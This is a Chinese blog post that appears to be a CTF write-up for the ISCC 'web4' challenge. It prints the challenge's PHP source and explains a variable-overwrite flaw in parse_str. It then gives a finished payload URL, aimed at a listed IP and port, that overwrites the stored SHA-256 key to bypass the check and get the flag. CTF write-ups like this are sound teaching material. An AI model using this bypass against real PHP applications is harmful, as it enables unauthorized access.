ISCC(web)

web4
地址:

<?php 
error_reporting(0); 
include("flag.php"); 
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; 
$parsed = parse_url($_SERVER['REQUEST_URI']);     /*理解parse_url函数
if(isset($parsed["query"])){ 
    $query = $parsed["query"]; 
    $parsed_query = parse_str($query); 
    if($parsed_query!=NULL){ 
        $action = $parsed_query['action']; 
    } 

    if($action==="auth"){ 
        $key = $_GET["key"]; 
        $hashed_input = hash('sha256', $key); 
        if($hashed_input!==$hashed_key){ 
            die("<img src='cxk.jpg'>"); 
        } 

        echo $flag;                       /*这里有flag,所以答案很有可能在这个语句中,因此要着重分析
    } 
}else{ 
    show_source(__FILE__); 
}?>

解题思路:
分析代码,
发现存在action传参,
分析 $action = p a r s e d q u e r y [ ′ a c t i o n ′ ] 和 parsed_query[&#x27;action&#x27;]和 parsedquery[action]action===“auth”
推出来 action=auth,将action=auth传入
解题关键就在于parse_url函数,存在变量覆盖漏洞
输入的key值也会传入,只不过是经过sha256加密的

   $hashed_input = hash('sha256', $key); 
        if($hashed_input!==$hashed_key){ 

传入一个hashed_key,将原来的密文个覆盖掉
这个参数传入的是我们传入的key经过sha256加密后的密文,如:key=1(当然key的具体值你看着给几都行)也就是说用你输入的key值经sha256加密后赋值给hashed_key传入进去,利用parse_url函数存在变量覆盖的漏洞,将原来传入的变量覆盖,从而解出答案
令key=1,使用sha256加密赋值给hashed_key:

hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

最终得出payload为:

http://39.100.83.188:8066/?action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

得出flag:

 flag{7he_rea1_f1@g_15_4ere}
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学习新思想ing

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值